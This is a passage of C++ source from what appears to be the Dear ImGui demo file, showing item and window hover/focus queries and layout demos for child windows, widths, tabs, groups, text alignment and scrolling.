"IsItemHovered(_AllowWhenBlockedByActiveItem) = %d\n" "IsItemHovered(_AllowWhenOverlapped) = %d\n" "IsItemHovered(_RectOnly) = %d\n" "IsItemActive() = %d\n" "IsItemEdited() = %d\n" "IsItemActivated() = %d\n" "IsItemDeactivated() = %d\n" "IsItemDeactivatedAfterEdit() = %d\n" "IsItemVisible() = %d\n" "IsItemClicked() = %d\n" "IsItemToggledOpen() = %d\n" "GetItemRectMin() = (%.1f, %.1f)\n" "GetItemRectMax() = (%.1f, %.1f)\n" "GetItemRectSize() = (%.1f, %.1f)", ret, ImGui::IsItemFocused(), ImGui::IsItemHovered(), ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup), ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem), ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenOverlapped), ImGui::IsItemHovered(ImGuiHoveredFlags_RectOnly), ImGui::IsItemActive(), ImGui::IsItemEdited(), ImGui::IsItemActivated(), ImGui::IsItemDeactivated(), ImGui::IsItemDeactivatedAfterEdit(), ImGui::IsItemVisible(), ImGui::IsItemClicked(), ImGui::IsItemToggledOpen(), ImGui::GetItemRectMin().x, ImGui::GetItemRectMin().y, ImGui::GetItemRectMax().x, ImGui::GetItemRectMax().y, ImGui::GetItemRectSize().x, ImGui::GetItemRectSize().y ); static bool embed_all_inside_a_child_window = false; ImGui::Checkbox("Embed everything inside a child window (for additional testing)", &embed_all_inside_a_child_window); if (embed_all_inside_a_child_window) ImGui::BeginChild("outer_child", ImVec2(0, ImGui::GetFontSize() * 20), true); // Testing IsWindowFocused() function with its various flags. // Note that the ImGuiFocusedFlags_XXX flags can be combined. ImGui::BulletText( "IsWindowFocused() = %d\n" "IsWindowFocused(_ChildWindows) = %d\n" "IsWindowFocused(_ChildWindows|_RootWindow) = %d\n" "IsWindowFocused(_RootWindow) = %d\n" "IsWindowFocused(_AnyWindow) = %d\n", ImGui::IsWindowFocused(), ImGui::IsWindowFocused(ImGuiFocusedFlags_ChildWindows), ImGui::IsWindowFocused(ImGuiFocusedFlags_ChildWindows | ImGuiFocusedFlags_RootWindow), ImGui::IsWindowFocused(ImGuiFocusedFlags_RootWindow), ImGui::IsWindowFocused(ImGuiFocusedFlags_AnyWindow)); // Testing IsWindowHovered() function with its various flags. // Note that the ImGuiHoveredFlags_XXX flags can be combined. ImGui::BulletText( "IsWindowHovered() = %d\n" "IsWindowHovered(_AllowWhenBlockedByPopup) = %d\n" "IsWindowHovered(_AllowWhenBlockedByActiveItem) = %d\n" "IsWindowHovered(_ChildWindows) = %d\n" "IsWindowHovered(_ChildWindows|_RootWindow) = %d\n" "IsWindowHovered(_ChildWindows|_AllowWhenBlockedByPopup) = %d\n" "IsWindowHovered(_RootWindow) = %d\n" "IsWindowHovered(_AnyWindow) = %d\n", ImGui::IsWindowHovered(), ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup), ImGui::IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem), ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows), ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows | ImGuiHoveredFlags_RootWindow), ImGui::IsWindowHovered(ImGuiHoveredFlags_ChildWindows | ImGuiHoveredFlags_AllowWhenBlockedByPopup), ImGui::IsWindowHovered(ImGuiHoveredFlags_RootWindow), ImGui::IsWindowHovered(ImGuiHoveredFlags_AnyWindow)); ImGui::BeginChild("child", ImVec2(0, 50), true); ImGui::Text("This is another child window for testing the _ChildWindows flag."); ImGui::EndChild(); if (embed_all_inside_a_child_window) ImGui::EndChild(); static char dummy_str[] = "This is a dummy field to be able to tab-out of the widgets above."; ImGui::InputText("dummy", dummy_str, IM_ARRAYSIZE(dummy_str), ImGuiInputTextFlags_ReadOnly); // Calling IsItemHovered() after begin returns the hovered status of the title bar. // This is useful in particular if you want to create a context menu (with BeginPopupContextItem) associated to the title bar of a window. static bool test_window = false; ImGui::Checkbox("Hovered/Active tests after Begin() for title bar testing", &test_window); if (test_window) { ImGui::Begin("Title bar Hovered/Active tests", &test_window); if (ImGui::BeginPopupContextItem()) // <-- This is using IsItemHovered() { if (ImGui::MenuItem("Close")) { test_window = false; } ImGui::EndPopup(); } ImGui::Text( "IsItemHovered() after begin = %d (== is title bar hovered)\n" "IsItemActive() after begin = %d (== is window being clicked/moved)\n", ImGui::IsItemHovered(), ImGui::IsItemActive()); ImGui::End(); } ImGui::TreePop(); } } static void ShowDemoWindowLayout() { if (!ImGui::CollapsingHeader("Layout")) return; if (ImGui::TreeNode("Child windows")) { HelpMarker("Use child windows to begin into a self-contained independent scrolling/clipping regions within a host window."); static bool disable_mouse_wheel = false; static bool disable_menu = false; ImGui::Checkbox("Disable Mouse Wheel", &disable_mouse_wheel); ImGui::Checkbox("Disable Menu", &disable_menu); static int line = 50; bool goto_line = ImGui::Button("Goto"); ImGui::SameLine(); ImGui::SetNextItemWidth(100); goto_line |= ImGui::InputInt("##Line", &line, 0, 0, ImGuiInputTextFlags_EnterReturnsTrue); // Child 1: no border, enable horizontal scrollbar { ImGuiWindowFlags window_flags = ImGuiWindowFlags_HorizontalScrollbar | (disable_mouse_wheel ? ImGuiWindowFlags_NoScrollWithMouse : 0); ImGui::BeginChild("Child1", ImVec2(ImGui::GetWindowContentRegionWidth() * 0.5f, 260), false, window_flags); for (int i = 0; i < 100; i++) { ImGui::Text("%04d: scrollable region", i); if (goto_line && line == i) ImGui::SetScrollHereY(); } if (goto_line && line >= 100) ImGui::SetScrollHereY(); ImGui::EndChild(); } ImGui::SameLine(); // Child 2: rounded border { ImGuiWindowFlags window_flags = (disable_mouse_wheel ? ImGuiWindowFlags_NoScrollWithMouse : 0) | (disable_menu ? 0 : ImGuiWindowFlags_MenuBar); ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); ImGui::BeginChild("Child2", ImVec2(0, 260), true, window_flags); if (!disable_menu && ImGui::BeginMenuBar()) { if (ImGui::BeginMenu("Menu")) { ShowExampleMenuFile(); ImGui::EndMenu(); } ImGui::EndMenuBar(); } ImGui::Columns(2); for (int i = 0; i < 100; i++) { char buf[32]; sprintf(buf, "%03d", i); ImGui::Button(buf, ImVec2(-FLT_MIN, 0.0f)); ImGui::NextColumn(); } ImGui::EndChild(); ImGui::PopStyleVar(); } ImGui::Separator(); // Demonstrate a few extra things // - Changing ImGuiCol_ChildBg (which is transparent black in default styles) // - Using SetCursorPos() to position the child window (because the child window is an item from the POV of the parent window) // You can also call SetNextWindowPos() to position the child window. The parent window will effectively layout from this position. // - Using ImGui::GetItemRectMin/Max() to query the "item" state (because the child window is an item from the POV of the parent window) // See "Widgets" -> "Querying Status (Active/Focused/Hovered etc.)" section for more details about this. { ImGui::SetCursorPosX(ImGui::GetCursorPosX() + 10); ImGui::PushStyleColor(ImGuiCol_ChildBg, IM_COL32(255, 0, 0, 100)); ImGui::BeginChild("blah", ImVec2(200, 100), true, ImGuiWindowFlags_None); for (int n = 0; n < 50; n++) ImGui::Text("Some test %d", n); ImGui::EndChild(); ImVec2 child_rect_min = ImGui::GetItemRectMin(); ImVec2 child_rect_max = ImGui::GetItemRectMax(); ImGui::PopStyleColor(); ImGui::Text("Rect of child window is: (%.0f,%.0f) (%.0f,%.0f)", child_rect_min.x, child_rect_min.y, child_rect_max.x, child_rect_max.y); } ImGui::TreePop(); } if (ImGui::TreeNode("Widgets Width")) { // Use SetNextItemWidth() to set the width of a single upcoming item. // Use PushItemWidth()/PopItemWidth() to set the width of a group of items. static float f = 0.0f; ImGui::Text("SetNextItemWidth/PushItemWidth(100)"); ImGui::SameLine(); HelpMarker("Fixed width."); ImGui::SetNextItemWidth(100); ImGui::DragFloat("float##1", &f); ImGui::Text("SetNextItemWidth/PushItemWidth(GetWindowWidth() * 0.5f)"); ImGui::SameLine(); HelpMarker("Half of window width."); ImGui::SetNextItemWidth(ImGui::GetWindowWidth() * 0.5f); ImGui::DragFloat("float##2", &f); ImGui::Text("SetNextItemWidth/PushItemWidth(GetContentRegionAvail().x * 0.5f)"); ImGui::SameLine(); HelpMarker("Half of available width.\n(~ right-cursor_pos)\n(works within a column set)"); ImGui::SetNextItemWidth(ImGui::GetContentRegionAvail().x * 0.5f); ImGui::DragFloat("float##3", &f); ImGui::Text("SetNextItemWidth/PushItemWidth(-100)"); ImGui::SameLine(); HelpMarker("Align to right edge minus 100"); ImGui::SetNextItemWidth(-100); ImGui::DragFloat("float##4", &f); // Demonstrate using PushItemWidth to surround three items. Calling SetNextItemWidth() before each of them would have the same effect. ImGui::Text("SetNextItemWidth/PushItemWidth(-1)"); ImGui::SameLine(); HelpMarker("Align to right edge"); ImGui::PushItemWidth(-1); ImGui::DragFloat("##float5a", &f); ImGui::DragFloat("##float5b", &f); ImGui::DragFloat("##float5c", &f); ImGui::PopItemWidth(); ImGui::TreePop(); } if (ImGui::TreeNode("Basic Horizontal Layout")) { ImGui::TextWrapped("(Use ImGui::SameLine() to keep adding items to the right of the preceding item)"); // Text ImGui::Text("Two items: Hello"); ImGui::SameLine(); ImGui::TextColored(ImVec4(1,1,0,1), "Sailor"); // Adjust spacing ImGui::Text("More spacing: Hello"); ImGui::SameLine(0, 20); ImGui::TextColored(ImVec4(1,1,0,1), "Sailor"); // Button ImGui::AlignTextToFramePadding(); ImGui::Text("Normal buttons"); ImGui::SameLine(); ImGui::Button("Banana"); ImGui::SameLine(); ImGui::Button("Apple"); ImGui::SameLine(); ImGui::Button("Corniflower"); // Button ImGui::Text("Small buttons"); ImGui::SameLine(); ImGui::SmallButton("Like this one"); ImGui::SameLine(); ImGui::Text("can fit within a text block."); // Aligned to arbitrary position. Easy/cheap column. ImGui::Text("Aligned"); ImGui::SameLine(150); ImGui::Text("x=150"); ImGui::SameLine(300); ImGui::Text("x=300"); ImGui::Text("Aligned"); ImGui::SameLine(150); ImGui::SmallButton("x=150"); ImGui::SameLine(300); ImGui::SmallButton("x=300"); // Checkbox static bool c1 = false, c2 = false, c3 = false, c4 = false; ImGui::Checkbox("My", &c1); ImGui::SameLine(); ImGui::Checkbox("Tailor", &c2); ImGui::SameLine(); ImGui::Checkbox("Is", &c3); ImGui::SameLine(); ImGui::Checkbox("Rich", &c4); // Various static float f0 = 1.0f, f1 = 2.0f, f2 = 3.0f; ImGui::PushItemWidth(80); const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD" }; static int item = -1; ImGui::Combo("Combo", &item, items, IM_ARRAYSIZE(items)); ImGui::SameLine(); ImGui::SliderFloat("X", &f0, 0.0f, 5.0f); ImGui::SameLine(); ImGui::SliderFloat("Y", &f1, 0.0f, 5.0f); ImGui::SameLine(); ImGui::SliderFloat("Z", &f2, 0.0f, 5.0f); ImGui::PopItemWidth(); ImGui::PushItemWidth(80); ImGui::Text("Lists:"); static int selection[4] = { 0, 1, 2, 3 }; for (int i = 0; i < 4; i++) { if (i > 0) ImGui::SameLine(); ImGui::PushID(i); ImGui::ListBox("", &selection[i], items, IM_ARRAYSIZE(items)); ImGui::PopID(); //if (ImGui::IsItemHovered()) ImGui::SetTooltip("ListBox %d hovered", i); } ImGui::PopItemWidth(); // Dummy ImVec2 button_sz(40, 40); ImGui::Button("A", button_sz); ImGui::SameLine(); ImGui::Dummy(button_sz); ImGui::SameLine(); ImGui::Button("B", button_sz); // Manually wrapping (we should eventually provide this as an automatic layout feature, but for now you can do it manually) ImGui::Text("Manually wrapping:"); ImGuiStyle& style = ImGui::GetStyle(); int buttons_count = 20; float window_visible_x2 = ImGui::GetWindowPos().x + ImGui::GetWindowContentRegionMax().x; for (int n = 0; n < buttons_count; n++) { ImGui::PushID(n); ImGui::Button("Box", button_sz); float last_button_x2 = ImGui::GetItemRectMax().x; float next_button_x2 = last_button_x2 + style.ItemSpacing.x + button_sz.x; // Expected position if next button was on same line if (n + 1 < buttons_count && next_button_x2 < window_visible_x2) ImGui::SameLine(); ImGui::PopID(); } ImGui::TreePop(); } if (ImGui::TreeNode("Tabs")) { if (ImGui::TreeNode("Basic")) { ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_None; if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags)) { if (ImGui::BeginTabItem("Avocado")) { ImGui::Text("This is the Avocado tab!\nblah blah blah blah blah"); ImGui::EndTabItem(); } if (ImGui::BeginTabItem("Broccoli")) { ImGui::Text("This is the Broccoli tab!\nblah blah blah blah blah"); ImGui::EndTabItem(); } if (ImGui::BeginTabItem("Cucumber")) { ImGui::Text("This is the Cucumber tab!\nblah blah blah blah blah"); ImGui::EndTabItem(); } ImGui::EndTabBar(); } ImGui::Separator(); ImGui::TreePop(); } if (ImGui::TreeNode("Advanced & Close Button")) { // Expose a couple of the available flags. In most cases you may just call BeginTabBar() with no flags (0). static ImGuiTabBarFlags tab_bar_flags = ImGuiTabBarFlags_Reorderable; ImGui::CheckboxFlags("ImGuiTabBarFlags_Reorderable", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_Reorderable); ImGui::CheckboxFlags("ImGuiTabBarFlags_AutoSelectNewTabs", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_AutoSelectNewTabs); ImGui::CheckboxFlags("ImGuiTabBarFlags_TabListPopupButton", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_TabListPopupButton); ImGui::CheckboxFlags("ImGuiTabBarFlags_NoCloseWithMiddleMouseButton", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_NoCloseWithMiddleMouseButton); if ((tab_bar_flags & ImGuiTabBarFlags_FittingPolicyMask_) == 0) tab_bar_flags |= ImGuiTabBarFlags_FittingPolicyDefault_; if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyResizeDown", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_FittingPolicyResizeDown)) tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyResizeDown); if (ImGui::CheckboxFlags("ImGuiTabBarFlags_FittingPolicyScroll", (unsigned int*)&tab_bar_flags, ImGuiTabBarFlags_FittingPolicyScroll)) tab_bar_flags &= ~(ImGuiTabBarFlags_FittingPolicyMask_ ^ ImGuiTabBarFlags_FittingPolicyScroll); // Tab Bar const char* names[4] = { "Artichoke", "Beetroot", "Celery", "Daikon" }; static bool opened[4] = { true, true, true, true }; // Persistent user state for (int n = 0; n < IM_ARRAYSIZE(opened); n++) { if (n > 0) { ImGui::SameLine(); } ImGui::Checkbox(names[n], &opened[n]); } // Passing a bool* to BeginTabItem() is similar to passing one to Begin(): the underlying bool will be set to false when the tab is closed. if (ImGui::BeginTabBar("MyTabBar", tab_bar_flags)) { for (int n = 0; n < IM_ARRAYSIZE(opened); n++) if (opened[n] && ImGui::BeginTabItem(names[n], &opened[n], ImGuiTabItemFlags_None)) { ImGui::Text("This is the %s tab!", names[n]); if (n & 1) ImGui::Text("I am an odd tab."); ImGui::EndTabItem(); } ImGui::EndTabBar(); } ImGui::Separator(); ImGui::TreePop(); } ImGui::TreePop(); } if (ImGui::TreeNode("Groups")) { HelpMarker("BeginGroup() basically locks the horizontal position for new line. EndGroup() bundles the whole group so that you can use \"item\" functions such as IsItemHovered()/IsItemActive() or SameLine() etc. on the whole group."); ImGui::BeginGroup(); { ImGui::BeginGroup(); ImGui::Button("AAA"); ImGui::SameLine(); ImGui::Button("BBB"); ImGui::SameLine(); ImGui::BeginGroup(); ImGui::Button("CCC"); ImGui::Button("DDD"); ImGui::EndGroup(); ImGui::SameLine(); ImGui::Button("EEE"); ImGui::EndGroup(); if (ImGui::IsItemHovered()) ImGui::SetTooltip("First group hovered"); } // Capture the group size and create widgets using the same size ImVec2 size = ImGui::GetItemRectSize(); const float values[5] = { 0.5f, 0.20f, 0.80f, 0.60f, 0.25f }; ImGui::PlotHistogram("##values", values, IM_ARRAYSIZE(values), 0, NULL, 0.0f, 1.0f, size); ImGui::Button("ACTION", ImVec2((size.x - ImGui::GetStyle().ItemSpacing.x)*0.5f, size.y)); ImGui::SameLine(); ImGui::Button("REACTION", ImVec2((size.x - ImGui::GetStyle().ItemSpacing.x)*0.5f, size.y)); ImGui::EndGroup(); ImGui::SameLine(); ImGui::Button("LEVERAGE\nBUZZWORD", size); ImGui::SameLine(); if (ImGui::ListBoxHeader("List", size)) { ImGui::Selectable("Selected", true); ImGui::Selectable("Not Selected", false); ImGui::ListBoxFooter(); } ImGui::TreePop(); } if (ImGui::TreeNode("Text Baseline Alignment")) { { ImGui::BulletText("Text baseline:"); ImGui::SameLine(); HelpMarker("This is testing the vertical alignment that gets applied on text to keep it aligned with widgets. Lines only composed of text or \"small\" widgets fit in less vertical spaces than lines with normal widgets."); ImGui::Indent(); ImGui::Text("KO Blahblah"); ImGui::SameLine(); ImGui::Button("Some framed item"); ImGui::SameLine(); HelpMarker("Baseline of button will look misaligned with text.."); // If your line starts with text, call AlignTextToFramePadding() to align text to upcoming widgets. // Because we don't know what's coming after the Text() statement, we need to move the text baseline down by FramePadding.y ImGui::AlignTextToFramePadding(); ImGui::Text("OK Blahblah"); ImGui::SameLine(); ImGui::Button("Some framed item"); ImGui::SameLine(); HelpMarker("We call AlignTextToFramePadding() to vertically align the text baseline by +FramePadding.y"); // SmallButton() uses the same vertical padding as Text ImGui::Button("TEST##1"); ImGui::SameLine(); ImGui::Text("TEST"); ImGui::SameLine(); ImGui::SmallButton("TEST##2"); // If your line starts with text, call AlignTextToFramePadding() to align text to upcoming widgets. ImGui::AlignTextToFramePadding(); ImGui::Text("Text aligned to framed item"); ImGui::SameLine(); ImGui::Button("Item##1"); ImGui::SameLine(); ImGui::Text("Item"); ImGui::SameLine(); ImGui::SmallButton("Item##2"); ImGui::SameLine(); ImGui::Button("Item##3"); ImGui::Unindent(); } ImGui::Spacing(); { ImGui::BulletText("Multi-line text:"); ImGui::Indent(); ImGui::Text("One\nTwo\nThree"); ImGui::SameLine(); ImGui::Text("Hello\nWorld"); ImGui::SameLine(); ImGui::Text("Banana"); ImGui::Text("Banana"); ImGui::SameLine(); ImGui::Text("Hello\nWorld"); ImGui::SameLine(); ImGui::Text("One\nTwo\nThree"); ImGui::Button("HOP##1"); ImGui::SameLine(); ImGui::Text("Banana"); ImGui::SameLine(); ImGui::Text("Hello\nWorld"); ImGui::SameLine(); ImGui::Text("Banana"); ImGui::Button("HOP##2"); ImGui::SameLine(); ImGui::Text("Hello\nWorld"); ImGui::SameLine(); ImGui::Text("Banana"); ImGui::Unindent(); } ImGui::Spacing(); { ImGui::BulletText("Misc items:"); ImGui::Indent(); // SmallButton() sets FramePadding to zero. Text baseline is aligned to match baseline of previous Button ImGui::Button("80x80", ImVec2(80, 80)); ImGui::SameLine(); ImGui::Button("50x50", ImVec2(50, 50)); ImGui::SameLine(); ImGui::Button("Button()"); ImGui::SameLine(); ImGui::SmallButton("SmallButton()"); // Tree const float spacing = ImGui::GetStyle().ItemInnerSpacing.x; ImGui::Button("Button##1"); ImGui::SameLine(0.0f, spacing); if (ImGui::TreeNode("Node##1")) { for (int i = 0; i < 6; i++) ImGui::BulletText("Item %d..", i); ImGui::TreePop(); } // Dummy tree data ImGui::AlignTextToFramePadding(); // Vertically align text node a bit lower so it'll be vertically centered with upcoming widget. Otherwise you can use SmallButton (smaller fit). bool node_open = ImGui::TreeNode("Node##2");// Common mistake to avoid: if we want to SameLine after TreeNode we need to do it before we add child content. ImGui::SameLine(0.0f, spacing); ImGui::Button("Button##2"); if (node_open) { for (int i = 0; i < 6; i++) ImGui::BulletText("Item %d..", i); ImGui::TreePop(); } // Dummy tree data // Bullet ImGui::Button("Button##3"); ImGui::SameLine(0.0f, spacing); ImGui::BulletText("Bullet text"); ImGui::AlignTextToFramePadding(); ImGui::BulletText("Node"); ImGui::SameLine(0.0f, spacing); ImGui::Button("Button##4"); ImGui::Unindent(); } ImGui::TreePop(); } if (ImGui::TreeNode("Scrolling")) { // Vertical scroll functions HelpMarker("Use SetScrollHereY() or SetScrollFromPosY() to scroll to a given vertical position."); static int track_item = 50; static bool enable_track = true; static bool enable_extra_decorations = false; static float scroll_to_off_px = 0.0f; static float scroll_to_pos_px = 200.0f; ImGui::Checkbox("Decoration", &enable_extra_decorations); ImGui::SameLine(); HelpMarker("We expose this for testing because scrolling sometimes had issues with window decoration such as menu-bars."); ImGui::Checkbox("Track", &enable_track); ImGui::PushItemWidth(100); ImGui::SameLine(140); enable_track |= ImGui::DragInt("##item", &track_item, 0.25f, 0, 99, "Item = %d"); bool scroll_to_off = ImGui::Button("Scroll Offset"); ImGui::SameLine(140); scroll_to_off |= ImGui::DragFloat("##off", &scroll_to_off_px, 1.00f, 0, FLT_MAX, "+%.0f px"); bool scroll_to_pos = ImGui::Button("Scroll To Pos"); ImGui::SameLine(140); scroll_to_pos |= ImGui::DragFloat("##pos", &scroll_to_pos_px, 1.00f, -10, FLT_MAX, "X/Y = %.0f px"); ImGui::PopItemWidth(); if (scroll_to_off || scroll_to_pos) enable_track = false; ImGuiStyle& style = ImGui::GetStyle(); float child_w = (ImGui::GetContentRegionAvail().x - 4 * style.ItemSpacing.x) / 5; if (child_w < 1.0f) child_w = 1.0f; ImGui::PushID("##VerticalScrolling"); for (int i = 0; i < 5; i++) { if (i > 0) ImGui::SameLine(); ImGui::BeginGroup(); const char* names[] = { "Top", "25%", "Center", "75%", "Bottom" }; ImGui::TextUnformatted(names[i]); ImGuiWindowFlags child_flags = enable_extra_decorations ? ImGuiWindowFlags_MenuBar : 0; bool window_visible = ImGui::BeginChild(ImGui::GetID((void*)(intptr_t)i), ImVec2(child_w, 200.0f), true, child_flags); if (ImGui::BeginMenuBar()) { ImGui::TextUnformatted("abc"); ImGui::EndMenuBar(); } if (scroll_to_off) ImGui::SetScrollY(scroll_to_off_px); if (scroll_to_pos) ImGui::SetScrollFromPosY(ImGui::GetCursorStartPos().y + scroll_to_pos_px, i * 0.25f); if (window_visible) // Avoid calling SetScrollHereY when running with culled items { for (int item = 0; item < 100; item++) { if (enable_track && item == track_item) { ImGui::TextColored(ImVec4(1, 1, 0, 1), "Item %d", item); ImGui::SetScrollHereY(i * 0.25f); // 0.0f:top, 0.5f:center, 1.0f:bottom } else { ImGui::Text("Item %d", item); } } } float scroll_y = ImGui::GetScrollY(); float scroll_max_y = ImGui::GetScrollMaxY(); ImGui::EndChild(); ImGui::Text("%.0f/%.0f", scroll_y, scroll_max_y); ImGui::EndGroup(); } ImGui::PopID(); // Horizontal scroll functions ImGui::Spacing(); HelpMarker("Use SetScrollHereX() or SetScrollFromPosX() to scroll to a given horizontal position.\n\nUsing the \"Scroll To Pos\" button above will make the discontinuity at edges visible: scrolling to the top/bottom/left/right-most item will add an additional WindowPadding to reflect on reaching the edge of the list.\n\nBecause the clipping rectangle of most window hides half worth of WindowPadding on the left/right, using SetScrollFromPosX(+1) will usually result in clipped text whereas the equivalent SetScrollFromPosY(+1) wouldn't."); ImGui::PushID("##HorizontalScrolling"); for (int i = 0; i < 5; i++) { float child_height = ImGui::GetTextLineHeight() + style.ScrollbarSize + style.WindowPadding.y * 2.0f; ImGuiWindowFlags child_flags = ImGuiWindowFlags_HorizontalScrollbar | (enable_extra_decorations ? ImGuiWindowFlags_AlwaysVerticalScrollbar : 0); bool window_visible = ImGui::BeginChild(ImGui::GetID((void*)(intptr_t)i), ImVec2(-100, child_height), true, child_flags); if (scroll_to_off) ImGui::SetScrollX(scroll_to_off_px); if (scroll_to_pos) ImGui::SetScrollFromPosX(ImGui::GetCursorStartPos().x + scroll_to_pos_px, i * 0.25f); if (window_visible) // Avoid calling SetScrollHereY when running with culled items { for (int item = 0; item < 100; item++) { if (enable_track && item == track_item) { ImGui::TextColored(ImVec4(1, 1, 0, 1), "Item %d", item); ImGui::SetScrollHereX(i * 0.25f); // 0.0f:left, 0.5f:center, 1.0f:right } else { ImGui::Text("Item %d", item); } ImGui::SameLine(); } } float scroll_x = ImGui::GetScrollX(); float scroll_max_x = ImGui::GetScrollMaxX(); ImGui::EndChild(); ImGui::SameLine(); const char* names[] = { "Left", "25%", "Center", "75%", "Right" }; ImGui::Text("%s\n%.0f/%.0f", names[i], scroll_x, scroll_max_x); ImGui::Spacing(); } ImGui::PopID(); // Miscellaneous Horizontal Scrolling Demo HelpMarker("Horizontal scrolling for a window has to be enabled explicitly via the ImGuiWindowFlags_HorizontalScrollbar flag.\n\nYou may want to explicitly specify content width by calling SetNextWindowContentWidth() before Begin()."); static int lines = 7; ImGui::SliderInt("Lines", &lines, 1, 15); ImGui::PushStyleVar(ImGuiStyleVar_FrameRounding, 3.0f); ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2.0f, 1.0f)); ImGui::BeginChild("scrolling", ImVec2(0, ImGui::GetFrameHeightWithSpacing() * 7 + 30), true, ImGuiWindowFlags_HorizontalScrollbar); for (int line = 0; line < lines; line++) { // Display random stuff (for the sake of this trivial demo we are using basic Button+SameLine. If you want to create your own time line for a real application you may be better off // manipulating the cursor position yourself, aka using SetCursorPos/SetCursorScreenPos to position the widgets yourself. You may also want to use the lower-level ImDrawList API) int num_buttons = 10 + ((line & 1) ? line * 9 : line * 3); for (int n = 0; n < num_buttons; n++) { if (n > 0) ImGui::SameLine(); ImGui::PushID(n + line * 1000); char num_buf[16]; sprintf(num_buf, "%d", n); const char* label = (!(n%15)) ? "FizzBuzz" : (!(n%3)) ? "Fizz" : (!(n%5)) ? "Buzz" : num_buf; float hue = n*0.05f; ImGui::PushStyleColor(ImGuiCol_Button, (ImVec4)ImColor::HSV(hue, 0.6f, 0.6f)); ImGui::PushStyleColor(ImGuiCol_ButtonHovered, (ImVec4)ImColor::HSV(hue, 0.7f, 0.7f)); ImGui::PushStyleColor(ImGuiCol_ButtonActive, (ImVec4)ImColor::HSV(hue, 0.8f, 0.8f)); ImGui::Button(label, ImVec2(40.0f + sinf((float)(line + n)) * 20.0f, 0.0f)); ImGui::PopStyleColor(3); ImGui::PopID(); } } float scroll_x = ImGui::GetScrollX(); float scroll_max_x = ImGui::GetScrollMaxX(); ImGui::EndChild(); ImGui::PopStyleVar(2); float scroll_x_delta = 0.0f; ImGui::SmallButton("<<"); if (ImGui::IsItemActive()) { scroll_x_delta = -ImGui::GetIO().DeltaTime * 1000.0f; } ImGui::SameLine(); ImGui::Text("Scroll from code"); ImGui::SameLine(); ImGui::SmallButton(">>"); if (ImGui::IsItemActive()) { scroll_x_delta = +ImGui::GetIO().DeltaTime * 1000.0f; } ImGui::SameLine(); ImGui::Text("%.0f/%.0f", scroll_x, scroll_max_x); if (scroll_x_delta != 0.0f) { ImGui::BeginChild("scrolling"); // Demonstrate a trick: you can use Begin to set yourself in the context of another window (here we are already out of your child window) ImGui::SetScrollX(ImGui::GetScrollX() + scroll_x_delta); ImGui::EndChild(); } ImGui::Spacing(); static bool show_horizontal_contents_size_demo_window = false; ImGui::Checkbox("Show Horizontal contents size demo window", &show_horizontal_contents_size_demo_window); if (show_horizontal_contents_size_demo_window) { static bool show_h_scrollbar = true; static bool show_button = true; static bool show_tree_nodes = true; static bool show_text_wrapped = false; static bool show_columns = true; static bool show_tab_bar = true; static bool show_child = false; static bool explicit_content_size = false; static float contents_size_x = 300.0f; if (explicit_content_size) ImGui::SetNextWindowContentSize(ImVec2(contents_size_x, 0.0f)); ImGui::Begin("Horizontal contents size demo window", &show_horizontal_contents_size_demo_window, show_h_scrollbar ? ImGuiWindowFlags_HorizontalScrollbar : 0); ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(2, 0)); ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2, 0)); HelpMarker("Test of different widgets react and impact the work rectangle growing when horizontal scrolling is enabled.\n\nUse 'Metrics->Tools->Show windows rectangles' to visualize rectangles."); ImGui::Checkbox("H-scrollbar", &show_h_scrollbar); ImGui::Checkbox("Button", &show_button); // Will grow contents size (unless explicitly overwritten) ImGui::Checkbox("Tree nodes", &show_tree_nodes); // Will grow contents size and display highlight over full width ImGui::Checkbox("Text wrapped", &show_text_wrapped);// Will grow and use contents size ImGui::Checkbox("Columns", &show_columns); // Will use contents size ImGui::Checkbox("Tab bar", &show_tab_bar); // Will use contents size ImGui::Checkbox("Child", &show_child); // Will grow and use contents size ImGui::Checkbox("Explicit content size", &explicit_content_size); ImGui::Text("Scroll %.1f/%.1f %.1f/%.1f", ImGui::GetScrollX(), ImGui::GetScrollMaxX(), ImGui::GetScrollY(), ImGui::GetScrollMaxY()); if (explicit_content_size) { ImGui::SameLine(); ImGui::SetNextItemWidth(100); ImGui::DragFloat("##csx", &contents_size_x); ImVec2 p = ImGui::GetCursorScreenPos(); ImGui::GetWindowDrawList()->AddRectFilled(p, ImVec2(p.x + 10, p.y + 10), IM_COL32_WHITE); ImGui::GetWindowDrawList()->AddRectFilled(ImVec2(p.x + contents_size_x - 10, p.y), ImVec2(p.x + contents_size_x, p.y + 10), IM_COL32_WHITE); ImGui::Dummy(ImVec2(0, 10)); } ImGui::PopStyleVar(2); ImGui::Separator(); if (show_button) { ImGui::Button("this is a 300-wide button", ImVec2(300, 0)); } if (show_tree_nodes) { bool open = true; if (ImGui::TreeNode("this is a tree node")) { if (ImGui::TreeNode("another one of those tree node...")) { ImGui::Text("Some tree contents"); ImGui::TreePop(); } ImGui::TreePop(); } ImGui::CollapsingHeader("CollapsingHeader", &open); } if (show_text_wrapped) { ImGui::TextWrapped("This text should automatically wrap on the edge of the work rectangle."); } if (show_columns) { ImGui::Columns(4); for (int n = 0; n < 4; n++) { ImGui::Text("Width %.2f", ImGui::GetColumnWidth()); ImGui::NextColumn(); } ImGui::Columns(1); } if (show_tab_bar && ImGui::BeginTabBar("Hello")) { if 